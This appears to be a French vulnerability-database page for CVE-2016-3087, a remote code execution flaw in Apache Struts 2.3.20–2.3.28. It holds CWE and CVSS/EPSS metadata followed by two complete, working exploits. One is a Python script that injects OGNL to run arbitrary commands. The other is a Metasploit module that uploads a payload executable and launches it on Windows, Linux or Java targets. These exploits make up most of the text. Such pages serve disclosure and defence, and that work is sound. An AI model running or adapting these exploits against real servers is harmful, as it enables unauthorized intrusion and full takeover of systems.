Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-20 |
Improper Input Validation
The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.0 |
9.8 |
CRITICAL |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 43382
Date de publication : 2017-06-05 22h00 +00:00
Auteur : nixawk
EDB Vérifié : No
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import random
import base64
upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]
def rand_base(length, bad, chars):
'''generate a random string with chars collection'''
cset = (set(chars) - set(list(bad)))
if len(cset) == 0:
return ""
chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
chars = map(str, chars)
return "".join(chars)
def rand_char(bad='', chars=allchars):
'''generate a random char with chars collection'''
return rand_base(1, bad, chars)
def rand_text(length, bad='', chars=allchars):
'''generate a random string (cab be with unprintable chars)'''
return rand_base(length, bad, chars)
def rand_text_alpha(length, bad=''):
'''generate a random string with alpha chars'''
chars = upperAlpha + lowerAlpha
return rand_base(length, bad, set(chars))
def rand_text_alpha_lower(length, bad=''):
'''generate a random lower string with alpha chars'''
return rand_base(length, bad, set(lowerAlpha))
def rand_text_alpha_upper(length, bad=''):
'''generate a random upper string with alpha chars'''
return rand_base(length, bad, set(upperAlpha))
def rand_text_alphanumeric():
'''generate a random string with alpha and numerals chars'''
chars = upperAlpha + lowerAlpha + numerals
return rand_base(length, bad, set(chars))
def rand_text_numeric(length, bad=''):
'''generate a random string with numerals chars'''
return rand_base(length, bad, set(numerals))
def generate_rce_payload(code):
'''generate apache struts2 s2-033 payload.
'''
payload = ""
payload += requests.utils.quote("#
[email protected]@DEFAULT_MEMBER_ACCESS")
payload += ","
payload += requests.utils.quote(code)
payload += ","
payload += requests.utils.quote("#xx.toString.json")
payload += "?"
payload += requests.utils.quote("#xx:#request.toString")
return payload
def check(url):
'''check if url is vulnerable to apache struts2 S2-033.
'''
var_a = rand_text_alpha(4)
var_b = rand_text_alpha(4)
flag = rand_text_alpha(5)
addend_one = int(rand_text_numeric(2))
addend_two = int(rand_text_numeric(2))
addend_sum = addend_one + addend_two
code = "#{var_a}
[email protected]@getResponse().getWriter(),"
code += "#{var_a}.print(#parameters.{var_b}[0]),"
code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
code += "#{var_a}.print(#parameters.{var_b}[0]),"
code += "#{var_a}.close()"
payload = generate_rce_payload(code.format(
var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
))
url = url + "/" + payload
resp = requests.post(url, data={ var_b: flag }, timeout=8)
vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
if resp and resp.status_code == 200 and vul_flag in resp.text:
return True, resp.text
return False, ''
def exploit(url, cmd):
'''exploit url with apache struts2 S2-033.
'''
var_a = rand_text_alpha(4)
var_b = rand_text_alpha(4) # cmd
code = "#{var_a}=new sun.misc.BASE64Decoder(),"
# code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))" # Error 500
code += "#
[email protected]@getResponse().getWriter(),"
code += "#
[email protected]@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
code += "#wr.println(#rs),#wr.flush(),#wr.close()"
payload = generate_rce_payload(code.format(
var_a=var_a, var_b=var_b
))
url = url + "/" + payload
requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] python {} <url> <cmd>".format(sys.argv[0]))
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
print(check(url))
exploit(url, cmd)
## References
# 1. https://github.com/rapid7/metasploit-framework/pull/6945
Exploit Database EDB-ID : 39919
Date de publication : 2016-06-09 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed when using REST Plugin with ! operator when
Dynamic Method Invocation is enabled.
},
'Author' => [
'Nixawk' # original metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3087' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Jun 01 2016',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
case get_target_platform
when Msf::Module::Platform::Windows
slash = '\\'
when
slash = '/'
else
end
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}/#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def generate_rce_payload(code)
payload = ""
payload << Rex::Text.uri_encode("#
[email protected]@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("#xx.toString.json")
payload << "?"
payload << Rex::Text.uri_encode("#xx:#request.toString")
payload
end
def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)
params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}
[email protected]@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
payload = generate_rce_payload(code)
params_hash = { var_b => flag }
begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.\\'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
pl_content = pl_exe.unpack('H*').join()
print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)
handler
end
end
Products Mentioned
Configuraton 0
Apache>>Struts >> Version 2.3.20
Apache>>Struts >> Version 2.3.20.1
Apache>>Struts >> Version 2.3.24
Apache>>Struts >> Version 2.3.24.1
Apache>>Struts >> Version 2.3.28
Références
